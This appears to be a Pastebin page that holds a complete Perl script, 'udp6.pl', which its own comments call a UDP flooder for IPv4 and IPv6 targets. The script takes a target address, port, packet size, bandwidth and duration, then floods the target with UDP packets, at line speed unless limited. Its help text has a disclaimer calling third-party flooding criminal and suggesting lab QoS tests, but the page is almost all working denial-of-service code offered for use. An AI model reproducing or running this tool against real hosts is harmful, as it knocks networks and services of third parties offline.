Advertisement
wtfbbq

udp6.pl

May 15th, 2015
2,439
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.42 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # udp (ipv4/ipv6 or ipv4 to 6 or 6 to 6 etc etc etc) flooder
  3. # by the unknown but definately someone leet! awesome works.
  4. use strict;
  5. use Socket;
  6. eval {require Socket6}; our $has_socket6 = 0;
  7. unless ($@) { $has_socket6 = 1; import Socket6; };
  8.  
  9. use Getopt::Long;
  10. use Time::HiRes qw( usleep gettimeofday ) ;
  11.  
  12. our $port = 0;
  13. our $size = 0;
  14. our $time = 0;
  15. our $bw   = 0;
  16. our $help = 0;
  17. our $delay= 0;
  18. our $ipv6 = 0;
  19.  
  20. GetOptions(
  21. "port=i" => \$port,# UDP port to use, numeric, 0=random
  22. "size=i" => \$size,# packet size, number, 0=random
  23. "bandwidth=i" => \$bw,# bandwidth to consume
  24. "time=i" => \$time,# time to run
  25. "delay=f"=> \$delay,# inter-packet delay
  26. "help|?" => \$help,# help
  27. "6"=> \$ipv6);# ipv6
  28.  
  29. my ($ip) = @ARGV;
  30.  
  31. if ($help || !$ip) {
  32.   print <<'EOL';
  33. flood.pl --port=dst-port --size=pkt-size --time=secs
  34.          --bandwidth=kbps --delay=msec ip-address [-6]
  35.  
  36. Defaults:
  37.   * random destination UDP ports are used unless --port is specified
  38.   * random-sized packets are sent unless --size or --bandwidth is specified
  39.   * flood is continuous unless --time is specified
  40.   * flood is sent at line speed unless --bandwidth or --delay is specified
  41.   * IPv4 flood unless -6 is specified
  42.  
  43. Usage guidelines:
  44.   --size parameter is ignored if both the --bandwidth and the --delay
  45.     parameters are specified.
  46.   Packet size is set to 256 bytes if the --bandwidth parameter is used
  47.     without the --size parameter
  48.   The specified packet size is the size of the IP datagram (including IP and
  49.   UDP headers). Interface packet sizes might vary due to layer-2 encapsulation.
  50. Warnings and Disclaimers:
  51.   Flooding third-party hosts or networks is commonly considered a criminal activity.
  52.   Flooding your own hosts or networks is usually a bad idea
  53.   Higher-performace flooding solutions should be used for stress/performance tests
  54.   Use primarily in lab environments for QoS tests
  55. EOL
  56.   exit(1);
  57. }
  58. if (!defined($has_socket6) && (1 == $ipv6)) {
  59.   print "IPv6 flood unavailable on this machine, quitting.\n";
  60.   exit(1);
  61. }
  62. if ($bw && $delay) {
  63.   print "WARNING: computed packet size overwrites the --size parameter ignored\n";
  64.   $size = int($bw * $delay / 8);
  65. } elsif ($bw) {
  66.   $delay = (8 * $size) / $bw;
  67. }
  68. $size = 256 if $bw && !$size;
  69. ($bw = int($size / $delay * 8)) if ($delay && $size);
  70. my ($iaddr,$endtime,$psize,$pport);
  71. if(1 != $ipv6) {
  72.   $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  73.   socket(flood, PF_INET, SOCK_DGRAM, 17);
  74. } else {
  75.   $iaddr = inet_pton(PF_INET6, "$ip") or die "Cannot resolve hostname $ip\n";
  76.   socket(flood, PF_INET6, SOCK_DGRAM, 17);
  77. };
  78. $endtime = time() + ($time ? $time : 1000000);
  79. print "Flooding $ip " . ($port ? $port : "random") . " port with " .
  80.   ($size ? "$size-byte" : "random size") . " packets" . ($time ? " for $time seconds" : "") . "\n";
  81. print "Interpacket delay $delay msec\n" if $delay;
  82. print "total IP bandwidth $bw kbps\n" if $bw;
  83. print "Break with Ctrl-C\n" unless $time;
  84. die "Invalid packet size requested: $size\n" if $size && ($size < 64 || $size > 1500);
  85. $size -= 28 if $size;
  86. for (;time() <= $endtime;) {
  87.   $psize = $size ? $size : int(rand(1024-64)+64) ;
  88.   $pport = $port ? $port : int(rand(65500))+1;
  89.  
  90.   if(1 != $ipv6) {
  91.     send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
  92.   } else {
  93.     send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in6($pport, $iaddr));
  94.   };
  95.   usleep(1000 * $delay) if $delay;
  96. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement